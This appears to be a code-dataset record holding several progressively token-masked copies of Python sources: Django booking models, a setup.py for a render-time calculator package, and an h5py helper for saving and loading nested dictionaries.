Bookings(models.Model):\n booking_id = models.AutoField(primary_key=True)\n email = models.ForeignKey(Users, on_delete=models.CASCADE)\n flight_num = models.ForeignKey(Airlines, on_delete=models.CASCADE,\n default='00000', editable=True)\n", "<import token>\n\n\nclass Airlines(models.Model):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n\n\nclass Users(models.Model):\n user_id = models.CharField(max_length=16)\n email = models.EmailField(max_length=50, unique=True)\n password = models.CharField(max_length=20)\n phone_number = models.IntegerField()\n gender = models.CharField(max_length=10)\n\n def __str__(self):\n return self.email\n\n\nclass Bookings(models.Model):\n booking_id = models.AutoField(primary_key=True)\n email = models.ForeignKey(Users, on_delete=models.CASCADE)\n flight_num = models.ForeignKey(Airlines, on_delete=models.CASCADE,\n default='00000', editable=True)\n", "<import token>\n<class token>\n\n\nclass Users(models.Model):\n user_id = models.CharField(max_length=16)\n email = models.EmailField(max_length=50, unique=True)\n password = models.CharField(max_length=20)\n phone_number = models.IntegerField()\n gender = models.CharField(max_length=10)\n\n def __str__(self):\n return self.email\n\n\nclass Bookings(models.Model):\n booking_id = models.AutoField(primary_key=True)\n email = models.ForeignKey(Users, on_delete=models.CASCADE)\n flight_num = models.ForeignKey(Airlines, on_delete=models.CASCADE,\n default='00000', editable=True)\n", "<import token>\n<class token>\n\n\nclass Users(models.Model):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def __str__(self):\n return self.email\n\n\nclass Bookings(models.Model):\n booking_id = models.AutoField(primary_key=True)\n email = models.ForeignKey(Users, on_delete=models.CASCADE)\n flight_num = models.ForeignKey(Airlines, on_delete=models.CASCADE,\n default='00000', editable=True)\n", "<import token>\n<class token>\n\n\nclass Users(models.Model):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n\n\nclass Bookings(models.Model):\n booking_id = models.AutoField(primary_key=True)\n email = models.ForeignKey(Users, on_delete=models.CASCADE)\n flight_num = models.ForeignKey(Airlines, on_delete=models.CASCADE,\n default='00000', editable=True)\n", "<import token>\n<class token>\n<class token>\n\n\nclass Bookings(models.Model):\n booking_id = models.AutoField(primary_key=True)\n email = models.ForeignKey(Users, on_delete=models.CASCADE)\n flight_num = models.ForeignKey(Airlines, on_delete=models.CASCADE,\n default='00000', editable=True)\n", "<import token>\n<class token>\n<class token>\n\n\nclass Bookings(models.Model):\n <assignment token>\n <assignment token>\n <assignment token>\n", "<import token>\n<class token>\n<class token>\n<class token>\n" ]
false
407
2827a56c12c1e15a6fe26ce182aa07d76735d77f
''' MDSANIMA Setup ''' import sys import pathlib from setuptools import setup, find_packages HERE = pathlib.Path(__file__).parent CURRENT_PYTHON = sys.version_info[:2] REQUIRED_PYTHON = (3, 6) # This check and everything above must remain compatible with Python 2.7. if CURRENT_PYTHON < REQUIRED_PYTHON: sys.stderr.write("""========================== Unsupported Python Version ========================== This version of MDSANIMA requires Python {}.{} but you're trying to install it on Python {}.{} """.format(*(REQUIRED_PYTHON + CURRENT_PYTHON))) sys.exit(1) VERSION = '0.2.0' PACKAGE_NAME = 'mdsanima' AUTHOR = 'Marcin Rozewski' AUTHOR_EMAIL = '[email protected]' URL = 'https://github.com/mdsanima/mdsanima' LICENSE = 'MIT' DESCRIPTION = 'The package contains modules that will help in calculating rendering time.' LONG_DESCRIPTION = (HERE / "README.rst").read_text() LONG_DESC_TYPE = "text/x-rst" INSTALL_REQUIRES = [ 'humanfriendly' ] KEYWORDS = [ 'mdsanima', 'render time', 'calculator render time', 'blender', 'blener3d', 'rendering', 'houdini', 'sidefx', 'vfx', 'cinema4d', 'cycles', 'redshift', 'render engine', 'octane render', 'mantra', 'vray', 'clarisse ifx' ] setup(name=PACKAGE_NAME, version=VERSION, description=DESCRIPTION, long_description=LONG_DESCRIPTION, long_description_content_type=LONG_DESC_TYPE, author=AUTHOR, license=LICENSE, author_email=AUTHOR_EMAIL, url=URL, install_requires=INSTALL_REQUIRES, packages=find_packages(), extras_require={ "docs": [ 'sphinx', 'sphinx-autoapi', 'sphinx-rtd-theme', 'sphinx-bootstrap-theme', 'sphinx-prompt', 'sphinx-tabs', 'recommonmark' ], }, python_requires='>=3.6', keywords=KEYWORDS, classifiers=[ 'Development Status :: 5 - Production/Stable', 'Environment :: Console', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', 'Operating System :: POSIX :: Linux', 'Operating System :: Microsoft :: Windows :: Windows 10', 'Operating System :: MacOS', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Topic :: Multimedia :: Graphics :: 3D Rendering', 'Topic :: Multimedia :: Graphics :: 3D Modeling', ], )
[ "'''\nMDSANIMA Setup\n'''\n\nimport sys\nimport pathlib\nfrom setuptools import setup, find_packages\n\nHERE = pathlib.Path(__file__).parent\n\nCURRENT_PYTHON = sys.version_info[:2]\nREQUIRED_PYTHON = (3, 6)\n\n# This check and everything above must remain compatible with Python 2.7.\nif CURRENT_PYTHON < REQUIRED_PYTHON:\n sys.stderr.write(\"\"\"==========================\nUnsupported Python Version\n==========================\nThis version of MDSANIMA requires Python {}.{}\nbut you're trying to install it on Python {}.{}\n\"\"\".format(*(REQUIRED_PYTHON + CURRENT_PYTHON)))\n sys.exit(1)\n\nVERSION = '0.2.0'\nPACKAGE_NAME = 'mdsanima'\nAUTHOR = 'Marcin Rozewski'\nAUTHOR_EMAIL = '[email protected]'\nURL = 'https://github.com/mdsanima/mdsanima'\n\nLICENSE = 'MIT'\nDESCRIPTION = 'The package contains modules that will help in calculating rendering time.'\nLONG_DESCRIPTION = (HERE / \"README.rst\").read_text()\nLONG_DESC_TYPE = \"text/x-rst\"\n\nINSTALL_REQUIRES = [\n 'humanfriendly'\n]\n\nKEYWORDS = [\n 'mdsanima',\n 'render time',\n 'calculator render time',\n 'blender',\n 'blener3d',\n 'rendering',\n 'houdini',\n 'sidefx',\n 'vfx',\n 'cinema4d',\n 'cycles',\n 'redshift',\n 'render engine',\n 'octane render',\n 'mantra',\n 'vray',\n 'clarisse ifx'\n]\n\nsetup(name=PACKAGE_NAME,\n version=VERSION,\n description=DESCRIPTION,\n long_description=LONG_DESCRIPTION,\n long_description_content_type=LONG_DESC_TYPE,\n author=AUTHOR,\n license=LICENSE,\n author_email=AUTHOR_EMAIL,\n url=URL,\n install_requires=INSTALL_REQUIRES,\n packages=find_packages(),\n extras_require={\n \"docs\": [\n 'sphinx', \n 'sphinx-autoapi', \n 'sphinx-rtd-theme', \n 'sphinx-bootstrap-theme', \n 'sphinx-prompt', \n 'sphinx-tabs', \n 'recommonmark'\n ],\n },\n python_requires='>=3.6',\n keywords=KEYWORDS,\n classifiers=[\n 'Development Status :: 5 - Production/Stable',\n 'Environment :: Console',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n 'Operating System :: POSIX :: Linux',\n 'Operating System :: Microsoft :: Windows :: Windows 10',\n 'Operating System :: MacOS',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Topic :: Multimedia :: Graphics :: 3D Rendering',\n 'Topic :: Multimedia :: Graphics :: 3D Modeling',\n ],\n )", "<docstring token>\nimport sys\nimport pathlib\nfrom setuptools import setup, find_packages\nHERE = pathlib.Path(__file__).parent\nCURRENT_PYTHON = sys.version_info[:2]\nREQUIRED_PYTHON = 3, 6\nif CURRENT_PYTHON < REQUIRED_PYTHON:\n sys.stderr.write(\n \"\"\"==========================\nUnsupported Python Version\n==========================\nThis version of MDSANIMA requires Python {}.{}\nbut you're trying to install it on Python {}.{}\n\"\"\"\n .format(*(REQUIRED_PYTHON + CURRENT_PYTHON)))\n sys.exit(1)\nVERSION = '0.2.0'\nPACKAGE_NAME = 'mdsanima'\nAUTHOR = 'Marcin Rozewski'\nAUTHOR_EMAIL = '[email protected]'\nURL = 'https://github.com/mdsanima/mdsanima'\nLICENSE = 'MIT'\nDESCRIPTION = (\n 'The package contains modules that will help in calculating rendering time.'\n )\nLONG_DESCRIPTION = (HERE / 'README.rst').read_text()\nLONG_DESC_TYPE = 'text/x-rst'\nINSTALL_REQUIRES = ['humanfriendly']\nKEYWORDS = ['mdsanima', 'render time', 'calculator render time', 'blender',\n 'blener3d', 'rendering', 'houdini', 'sidefx', 'vfx', 'cinema4d',\n 'cycles', 'redshift', 'render engine', 'octane render', 'mantra',\n 'vray', 'clarisse ifx']\nsetup(name=PACKAGE_NAME, version=VERSION, description=DESCRIPTION,\n long_description=LONG_DESCRIPTION, long_description_content_type=\n LONG_DESC_TYPE, author=AUTHOR, license=LICENSE, author_email=\n AUTHOR_EMAIL, url=URL, install_requires=INSTALL_REQUIRES, packages=\n find_packages(), extras_require={'docs': ['sphinx', 'sphinx-autoapi',\n 'sphinx-rtd-theme', 'sphinx-bootstrap-theme', 'sphinx-prompt',\n 'sphinx-tabs', 'recommonmark']}, python_requires='>=3.6', keywords=\n KEYWORDS, classifiers=['Development Status :: 5 - Production/Stable',\n 'Environment :: Console', 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License', 'Natural Language :: English',\n 'Operating System :: POSIX :: Linux',\n 'Operating System :: Microsoft :: Windows :: Windows 10',\n 'Operating System :: MacOS', 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Topic :: Multimedia :: Graphics :: 3D Rendering',\n 'Topic :: Multimedia :: Graphics :: 3D Modeling'])\n", "<docstring token>\n<import token>\nHERE = pathlib.Path(__file__).parent\nCURRENT_PYTHON = sys.version_info[:2]\nREQUIRED_PYTHON = 3, 6\nif CURRENT_PYTHON < REQUIRED_PYTHON:\n sys.stderr.write(\n \"\"\"==========================\nUnsupported Python Version\n==========================\nThis version of MDSANIMA requires Python {}.{}\nbut you're trying to install it on Python {}.{}\n\"\"\"\n .format(*(REQUIRED_PYTHON + CURRENT_PYTHON)))\n sys.exit(1)\nVERSION = '0.2.0'\nPACKAGE_NAME = 'mdsanima'\nAUTHOR = 'Marcin Rozewski'\nAUTHOR_EMAIL = '[email protected]'\nURL = 'https://github.com/mdsanima/mdsanima'\nLICENSE = 'MIT'\nDESCRIPTION = (\n 'The package contains modules that will help in calculating rendering time.'\n )\nLONG_DESCRIPTION = (HERE / 'README.rst').read_text()\nLONG_DESC_TYPE = 'text/x-rst'\nINSTALL_REQUIRES = ['humanfriendly']\nKEYWORDS = ['mdsanima', 'render time', 'calculator render time', 'blender',\n 'blener3d', 'rendering', 'houdini', 'sidefx', 'vfx', 'cinema4d',\n 'cycles', 'redshift', 'render engine', 'octane render', 'mantra',\n 'vray', 'clarisse ifx']\nsetup(name=PACKAGE_NAME, version=VERSION, description=DESCRIPTION,\n long_description=LONG_DESCRIPTION, long_description_content_type=\n LONG_DESC_TYPE, author=AUTHOR, license=LICENSE, author_email=\n AUTHOR_EMAIL, url=URL, install_requires=INSTALL_REQUIRES, packages=\n find_packages(), extras_require={'docs': ['sphinx', 'sphinx-autoapi',\n 'sphinx-rtd-theme', 'sphinx-bootstrap-theme', 'sphinx-prompt',\n 'sphinx-tabs', 'recommonmark']}, python_requires='>=3.6', keywords=\n KEYWORDS, classifiers=['Development Status :: 5 - Production/Stable',\n 'Environment :: Console', 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License', 'Natural Language :: English',\n 'Operating System :: POSIX :: Linux',\n 'Operating System :: Microsoft :: Windows :: Windows 10',\n 'Operating System :: MacOS', 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Topic :: Multimedia :: Graphics :: 3D Rendering',\n 'Topic :: Multimedia :: Graphics :: 3D Modeling'])\n", "<docstring token>\n<import token>\n<assignment token>\nif CURRENT_PYTHON < REQUIRED_PYTHON:\n sys.stderr.write(\n \"\"\"==========================\nUnsupported Python Version\n==========================\nThis version of MDSANIMA requires Python {}.{}\nbut you're trying to install it on Python {}.{}\n\"\"\"\n .format(*(REQUIRED_PYTHON + CURRENT_PYTHON)))\n sys.exit(1)\n<assignment token>\nsetup(name=PACKAGE_NAME, version=VERSION, description=DESCRIPTION,\n long_description=LONG_DESCRIPTION, long_description_content_type=\n LONG_DESC_TYPE, author=AUTHOR, license=LICENSE, author_email=\n AUTHOR_EMAIL, url=URL, install_requires=INSTALL_REQUIRES, packages=\n find_packages(), extras_require={'docs': ['sphinx', 'sphinx-autoapi',\n 'sphinx-rtd-theme', 'sphinx-bootstrap-theme', 'sphinx-prompt',\n 'sphinx-tabs', 'recommonmark']}, python_requires='>=3.6', keywords=\n KEYWORDS, classifiers=['Development Status :: 5 - Production/Stable',\n 'Environment :: Console', 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License', 'Natural Language :: English',\n 'Operating System :: POSIX :: Linux',\n 'Operating System :: Microsoft :: Windows :: Windows 10',\n 'Operating System :: MacOS', 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Topic :: Multimedia :: Graphics :: 3D Rendering',\n 'Topic :: Multimedia :: Graphics :: 3D Modeling'])\n", "<docstring token>\n<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
408
d4ac5c6f08e9baa458fbe0ca7aa90c4d9372844f
import h5py import numpy as np #import tracking dt = h5py.special_dtype(vlen=bytes) def stringDataset(group, name, data, system=None): dset = group.create_dataset(name, (1,), dtype=dt, data=data) if system: addSystemAttribute(dset, system) return dset def addStringAttribute(dset_or_group, name, data): #return dset_or_group.attrs.create(name, np.string_(data)) # , (1,), dtype=dt) dset_or_group.attrs[name] = bytes(data, 'utf-8') def addSystemAttribute(dset_or_group, data): return addStringAttribute(dset_or_group, 'system', data) def add_dataset(group, name, data, system=None, dtype=None): if type(data) is str: return stringDataset(group, name, data, system) else: if dtype: dset = group.create_dataset(name, data=data, dtype=dtype) else: dset = group.create_dataset(name, data=data) if system: addSystemAttribute(dset, system) return dset def saveH5Recursive(h5_filename, data_dict): # import here to prevent circular import try: import tracking except ImportError: from . import tracking def recurse_save(group, dict_or_data, dict_or_data_name, new_group=None): if dict_or_data is None: dict_or_data = 'None' if group is None: print("'recurse_save' has been called with None") raise ValueError if type(dict_or_data) is tracking.BeamProfile or type(dict_or_data) is tracking.ScreenDistribution: dict_or_data = dict_or_data.to_dict() if type(dict_or_data) is tuple: dict_or_data = {'tuple_%i': x for i, x in enumerate(dict_or_data)} if type(dict_or_data) is dict: if type(dict_or_data_name) is int: inner_key = str(dict_or_data_name) try: new_group = group.create_group(dict_or_data_name) except Exception as e: print(e) print(dict_or_data_name, 'error') #raise if new_group is None: raise ValueError for key, val in dict_or_data.items(): try: recurse_save(new_group, val, key) except ValueError as e: print(e) print('I called recurse_save with None') #import pdb; pdb.set_trace() else: mydata = dict_or_data inner_key = dict_or_data_name if type(mydata) is str: add_dataset(group, inner_key, mydata.encode('utf-8'), 'unknown') #elif type(mydata) is tuple: # mydata2 = np.array(mydata) # add_dataset(group, inner_key, mydata2, 'unknown') elif (type(mydata) is list and type(mydata[0]) is str) or (hasattr(mydata, 'dtype') and mydata.dtype.type is np.str_): # For list of strings, we need this procedure try: if hasattr(mydata, 'dtype') and mydata.dtype.type is np.str and len(mydata.shape) == 2: mydata = mydata.flatten() if len(mydata.shape) == 2: new_list = [[n.encode('ascii') for n in arr] for arr in mydata] max_str_size = max(max(len(n) for n in arr) for arr in mydata) elif len(mydata.shape) == 1: new_list = [n.encode('ascii') for n in mydata] max_str_size = max(len(n) for n in mydata) elif len(mydata.shape) == 0: new_list = [mydata.encode('ascii')] max_str_size = len(new_list[0]) #print('Max len %i' % max_str_size) dset = group.create_dataset(inner_key, mydata.shape, 'S%i' % max_str_size, new_list) #print(np.array(dset)) dset.attrs.create('system', 'unknown', (1,), dtype=dt) except: print('Error for key', inner_key) print(type(mydata)) if type(mydata) is list: print('type(mydata[0])') print(type(mydata[0])) print('mydata') print(mydata) elif hasattr(mydata, 'dtype') and mydata.dtype == np.dtype('O'): if mydata.shape == (): add_dataset(group, inner_key, mydata, 'unknown') elif len(mydata.shape) == 1: try: add_dataset(group, inner_key, mydata, 'unknown') except Exception as e: print(e) print('Error for key', inner_key) print(group, inner_key) else: for i in range(mydata.shape[0]): for j in range(mydata.shape[1]): try: add_dataset(group, inner_key+'_%i_%i' % (i,j), mydata[i,j], 'unknown') except: print('Error for key', inner_key) print(group, inner_key, i, j) else: try: add_dataset(group, inner_key, mydata, 'unknown') except Exception as e: print('Error', e) print(inner_key, type(mydata)) with h5py.File(h5_filename, 'w') as dataH5: for main_key, subdict in data_dict.items(): recurse_save(dataH5, subdict, main_key, None) #recurse_save(dataH5, data_dict, 'none', new_group=dataH5) def loadH5Recursive(h5_file): def recurse_load(group_or_val, key, saved_dict_curr): type_ = type(group_or_val) try: group_or_val[()] except: hasval = False else: hasval = True if type_ is h5py._hl.files.File: for new_key, new_group_or_val in group_or_val.items(): recurse_load(new_group_or_val, new_key, saved_dict_curr) elif type_ is h5py._hl.group.Group: saved_dict_curr[key] = new_dict = {} for new_key, new_group_or_val in group_or_val.items(): recurse_load(new_group_or_val, new_key, new_dict) elif type_ == np.dtype('O') and hasval and type(group_or_val[()]) is bytes: saved_dict_curr[key] = group_or_val[()].decode() elif type_ == h5py._hl.dataset.Dataset: dtype = group_or_val.dtype #if not hasattr(group_or_val, 'value'): # print('Could not store key %s with type %s in dict' % (key, dtype)) # return if dtype in (np.dtype('int64'), np.dtype('int32'), np.dtype('int16'), np.dtype('int8'), np.dtype('uint32'), np.dtype('uint16'), np.dtype('uint8'), np.dtype('uint64')): saved_dict_curr[key] = np.array(group_or_val[()], dtype).squeeze() if saved_dict_curr[key].size == 1: saved_dict_curr[key] = int(saved_dict_curr[key]) elif dtype == np.dtype('bool'): try: saved_dict_curr[key] = bool(group_or_val[()]) except Exception as e: print(e) print('Could not store key %s with type %s in dict (1)' % (key, dtype)) elif dtype in (np.dtype('float64'), np.dtype('float32')): saved_dict_curr[key] = np.array(group_or_val[()]).squeeze() if saved_dict_curr[key].size == 1: saved_dict_curr[key] = float(saved_dict_curr[key]) elif dtype.str.startswith('|S'): if group_or_val[()].shape == (1,1): saved_dict_curr[key] = group_or_val[()][0,0].decode() elif group_or_val[()].shape == (1,): saved_dict_curr[key] = group_or_val[()][0].decode() elif group_or_val[()].shape == (): saved_dict_curr[key] = group_or_val[()].decode() else: saved_dict_curr[key] = [x.decode() for x in group_or_val[()].squeeze()] elif dtype.str == '|O': saved_dict_curr[key] = group_or_val[()] elif type(group_or_val[()]) is str: saved_dict_curr[key] = group_or_val[()] else: print('Could not store key %s with type %s in dict (2)' % (key, dtype)) else: print('Could not store key %s with type %s in dict (3)' % (key, type_)) saved_dict = {} with h5py.File(h5_file.strip(), 'r') as f: if 'none' in f: recurse_load(f['none'], 'key', saved_dict) saved_dict = saved_dict['key'] else: recurse_load(f, 'key', saved_dict) return saved_dict
[ "import h5py\nimport numpy as np\n#import tracking\n\ndt = h5py.special_dtype(vlen=bytes)\n\ndef stringDataset(group, name, data, system=None):\n dset = group.create_dataset(name, (1,), dtype=dt, data=data)\n if system:\n addSystemAttribute(dset, system)\n return dset\n\ndef addStringAttribute(dset_or_group, name, data):\n #return dset_or_group.attrs.create(name, np.string_(data)) # , (1,), dtype=dt)\n dset_or_group.attrs[name] = bytes(data, 'utf-8')\n\ndef addSystemAttribute(dset_or_group, data):\n return addStringAttribute(dset_or_group, 'system', data)\n\ndef add_dataset(group, name, data, system=None, dtype=None):\n if type(data) is str:\n return stringDataset(group, name, data, system)\n else:\n if dtype:\n dset = group.create_dataset(name, data=data, dtype=dtype)\n else:\n dset = group.create_dataset(name, data=data)\n if system:\n addSystemAttribute(dset, system)\n return dset\n\ndef saveH5Recursive(h5_filename, data_dict):\n # import here to prevent circular import\n try:\n import tracking\n except ImportError:\n from . import tracking\n\n def recurse_save(group, dict_or_data, dict_or_data_name, new_group=None):\n if dict_or_data is None:\n dict_or_data = 'None'\n if group is None:\n print(\"'recurse_save' has been called with None\")\n raise ValueError\n\n if type(dict_or_data) is tracking.BeamProfile or type(dict_or_data) is tracking.ScreenDistribution:\n dict_or_data = dict_or_data.to_dict()\n\n if type(dict_or_data) is tuple:\n dict_or_data = {'tuple_%i': x for i, x in enumerate(dict_or_data)}\n\n if type(dict_or_data) is dict:\n\n if type(dict_or_data_name) is int:\n inner_key = str(dict_or_data_name)\n try:\n new_group = group.create_group(dict_or_data_name)\n except Exception as e:\n print(e)\n print(dict_or_data_name, 'error')\n #raise\n if new_group is None:\n raise ValueError\n for key, val in dict_or_data.items():\n try:\n recurse_save(new_group, val, key)\n except ValueError as e:\n print(e)\n print('I called recurse_save with None')\n #import pdb; pdb.set_trace()\n else:\n mydata = dict_or_data\n inner_key = dict_or_data_name\n if type(mydata) is str:\n add_dataset(group, inner_key, mydata.encode('utf-8'), 'unknown')\n #elif type(mydata) is tuple:\n # mydata2 = np.array(mydata)\n # add_dataset(group, inner_key, mydata2, 'unknown')\n elif (type(mydata) is list and type(mydata[0]) is str) or (hasattr(mydata, 'dtype') and mydata.dtype.type is np.str_):\n # For list of strings, we need this procedure\n try:\n if hasattr(mydata, 'dtype') and mydata.dtype.type is np.str and len(mydata.shape) == 2:\n mydata = mydata.flatten()\n if len(mydata.shape) == 2:\n new_list = [[n.encode('ascii') for n in arr] for arr in mydata]\n max_str_size = max(max(len(n) for n in arr) for arr in mydata)\n elif len(mydata.shape) == 1:\n new_list = [n.encode('ascii') for n in mydata]\n max_str_size = max(len(n) for n in mydata)\n elif len(mydata.shape) == 0:\n new_list = [mydata.encode('ascii')]\n max_str_size = len(new_list[0])\n #print('Max len %i' % max_str_size)\n dset = group.create_dataset(inner_key, mydata.shape, 'S%i' % max_str_size, new_list)\n #print(np.array(dset))\n dset.attrs.create('system', 'unknown', (1,), dtype=dt)\n\n except:\n print('Error for key', inner_key)\n print(type(mydata))\n if type(mydata) is list:\n print('type(mydata[0])')\n print(type(mydata[0]))\n print('mydata')\n print(mydata)\n\n elif hasattr(mydata, 'dtype') and mydata.dtype == np.dtype('O'):\n if mydata.shape == ():\n add_dataset(group, inner_key, mydata, 'unknown')\n elif len(mydata.shape) == 1:\n try:\n add_dataset(group, inner_key, mydata, 'unknown')\n except Exception as e:\n print(e)\n print('Error for key', inner_key)\n print(group, inner_key)\n else:\n for i in range(mydata.shape[0]):\n for j in range(mydata.shape[1]):\n try:\n add_dataset(group, inner_key+'_%i_%i' % (i,j), mydata[i,j], 'unknown')\n except:\n print('Error for key', inner_key)\n print(group, inner_key, i, j)\n else:\n try:\n add_dataset(group, inner_key, mydata, 'unknown')\n except Exception as e:\n print('Error', e)\n print(inner_key, type(mydata))\n\n with h5py.File(h5_filename, 'w') as dataH5:\n for main_key, subdict in data_dict.items():\n recurse_save(dataH5, subdict, main_key, None)\n #recurse_save(dataH5, data_dict, 'none', new_group=dataH5)\n\ndef loadH5Recursive(h5_file):\n def recurse_load(group_or_val, key, saved_dict_curr):\n type_ = type(group_or_val)\n\n try:\n group_or_val[()]\n except:\n hasval = False\n else:\n hasval = True\n\n if type_ is h5py._hl.files.File:\n for new_key, new_group_or_val in group_or_val.items():\n recurse_load(new_group_or_val, new_key, saved_dict_curr)\n elif type_ is h5py._hl.group.Group:\n saved_dict_curr[key] = new_dict = {}\n for new_key, new_group_or_val in group_or_val.items():\n recurse_load(new_group_or_val, new_key, new_dict)\n elif type_ == np.dtype('O') and hasval and type(group_or_val[()]) is bytes:\n saved_dict_curr[key] = group_or_val[()].decode()\n elif type_ == h5py._hl.dataset.Dataset:\n dtype = group_or_val.dtype\n #if not hasattr(group_or_val, 'value'):\n # print('Could not store key %s with type %s in dict' % (key, dtype))\n # return\n if dtype in (np.dtype('int64'), np.dtype('int32'), np.dtype('int16'), np.dtype('int8'), np.dtype('uint32'), np.dtype('uint16'), np.dtype('uint8'), np.dtype('uint64')):\n saved_dict_curr[key] = np.array(group_or_val[()], dtype).squeeze()\n if saved_dict_curr[key].size == 1:\n saved_dict_curr[key] = int(saved_dict_curr[key])\n elif dtype == np.dtype('bool'):\n try:\n saved_dict_curr[key] = bool(group_or_val[()])\n except Exception as e:\n print(e)\n print('Could not store key %s with type %s in dict (1)' % (key, dtype))\n elif dtype in (np.dtype('float64'), np.dtype('float32')):\n saved_dict_curr[key] = np.array(group_or_val[()]).squeeze()\n if saved_dict_curr[key].size == 1:\n saved_dict_curr[key] = float(saved_dict_curr[key])\n\n elif dtype.str.startswith('|S'):\n if group_or_val[()].shape == (1,1):\n saved_dict_curr[key] = group_or_val[()][0,0].decode()\n elif group_or_val[()].shape == (1,):\n saved_dict_curr[key] = group_or_val[()][0].decode()\n\n elif group_or_val[()].shape == ():\n saved_dict_curr[key] = group_or_val[()].decode()\n else:\n saved_dict_curr[key] = [x.decode() for x in group_or_val[()].squeeze()]\n elif dtype.str == '|O':\n saved_dict_curr[key] = group_or_val[()]\n elif type(group_or_val[()]) is str:\n saved_dict_curr[key] = group_or_val[()]\n else:\n print('Could not store key %s with type %s in dict (2)' % (key, dtype))\n else:\n print('Could not store key %s with type %s in dict (3)' % (key, type_))\n\n saved_dict = {}\n with h5py.File(h5_file.strip(), 'r') as f:\n if 'none' in f:\n recurse_load(f['none'], 'key', saved_dict)\n saved_dict = saved_dict['key']\n else:\n recurse_load(f, 'key', saved_dict)\n return saved_dict\n\n", "import h5py\nimport numpy as np\ndt = h5py.special_dtype(vlen=bytes)\n\n\ndef stringDataset(group, name, data, system=None):\n dset = group.create_dataset(name, (1,), dtype=dt, data=data)\n if system:\n addSystemAttribute(dset, system)\n return dset\n\n\ndef addStringAttribute(dset_or_group, name, data):\n dset_or_group.attrs[name] = bytes(data, 'utf-8')\n\n\ndef addSystemAttribute(dset_or_group, data):\n return addStringAttribute(dset_or_group, 'system', data)\n\n\ndef add_dataset(group, name, data, system=None, dtype=None):\n if type(data) is str:\n return stringDataset(group, name, data, system)\n else:\n if dtype:\n dset = group.create_dataset(name, data=data, dtype=dtype)\n else:\n dset = group.create_dataset(name, data=data)\n if system:\n addSystemAttribute(dset, system)\n return dset\n\n\ndef saveH5Recursive(h5_filename, data_dict):\n try:\n import tracking\n except ImportError:\n from . import tracking\n\n def recurse_save(group, dict_or_data, dict_or_data_name, new_group=None):\n if dict_or_data is None:\n dict_or_data = 'None'\n if group is None:\n print(\"'recurse_save' has been called with None\")\n raise ValueError\n if type(dict_or_data) is tracking.BeamProfile or type(dict_or_data\n ) is tracking.ScreenDistribution:\n dict_or_data = dict_or_data.to_dict()\n if type(dict_or_data) is tuple:\n dict_or_data = {'tuple_%i': x for i, x in enumerate(dict_or_data)}\n if type(dict_or_data) is dict:\n if type(dict_or_data_name) is int:\n inner_key = str(dict_or_data_name)\n try:\n new_group = group.create_group(dict_or_data_name)\n except Exception as e:\n print(e)\n print(dict_or_data_name, 'error')\n if new_group is None:\n raise ValueError\n for key, val in dict_or_data.items():\n try:\n recurse_save(new_group, val, key)\n except ValueError as e:\n print(e)\n print('I called recurse_save with None')\n else:\n mydata = dict_or_data\n inner_key = dict_or_data_name\n if type(mydata) is str:\n add_dataset(group, inner_key, mydata.encode('utf-8'), 'unknown'\n )\n elif type(mydata) is list and type(mydata[0]) is str or hasattr(\n mydata, 'dtype') and mydata.dtype.type is np.str_:\n try:\n if hasattr(mydata, 'dtype'\n ) and mydata.dtype.type is np.str and len(mydata.shape\n ) == 2:\n mydata = mydata.flatten()\n if len(mydata.shape) == 2:\n new_list = [[n.encode('ascii') for n in arr] for\n arr in mydata]\n max_str_size = max(max(len(n) for n in arr) for arr in\n mydata)\n elif len(mydata.shape) == 1:\n new_list = [n.encode('ascii') for n in mydata]\n max_str_size = max(len(n) for n in mydata)\n elif len(mydata.shape) == 0:\n new_list = [mydata.encode('ascii')]\n max_str_size = len(new_list[0])\n dset = group.create_dataset(inner_key, mydata.shape, \n 'S%i' % max_str_size, new_list)\n dset.attrs.create('system', 'unknown', (1,), dtype=dt)\n except:\n print('Error for key', inner_key)\n print(type(mydata))\n if type(mydata) is list:\n print('type(mydata[0])')\n print(type(mydata[0]))\n print('mydata')\n print(mydata)\n elif hasattr(mydata, 'dtype') and mydata.dtype == np.dtype('O'):\n if mydata.shape == ():\n add_dataset(group, inner_key, mydata, 'unknown')\n elif len(mydata.shape) == 1:\n try:\n add_dataset(group, inner_key, mydata, 'unknown')\n except Exception as e:\n print(e)\n print('Error for key', inner_key)\n print(group, inner_key)\n else:\n for i in range(mydata.shape[0]):\n for j in range(mydata.shape[1]):\n try:\n add_dataset(group, inner_key + '_%i_%i' % (\n i, j), mydata[i, j], 'unknown')\n except:\n print('Error for key', inner_key)\n print(group, inner_key, i, j)\n else:\n try:\n add_dataset(group, inner_key, mydata, 'unknown')\n except Exception as e:\n print('Error', e)\n print(inner_key, type(mydata))\n with h5py.File(h5_filename, 'w') as dataH5:\n for main_key, subdict in data_dict.items():\n recurse_save(dataH5, subdict, main_key, None)\n\n\ndef loadH5Recursive(h5_file):\n\n def recurse_load(group_or_val, key, saved_dict_curr):\n type_ = type(group_or_val)\n try:\n group_or_val[()]\n except:\n hasval = False\n else:\n hasval = True\n if type_ is h5py._hl.files.File:\n for new_key, new_group_or_val in group_or_val.items():\n recurse_load(new_group_or_val, new_key, saved_dict_curr)\n elif type_ is h5py._hl.group.Group:\n saved_dict_curr[key] = 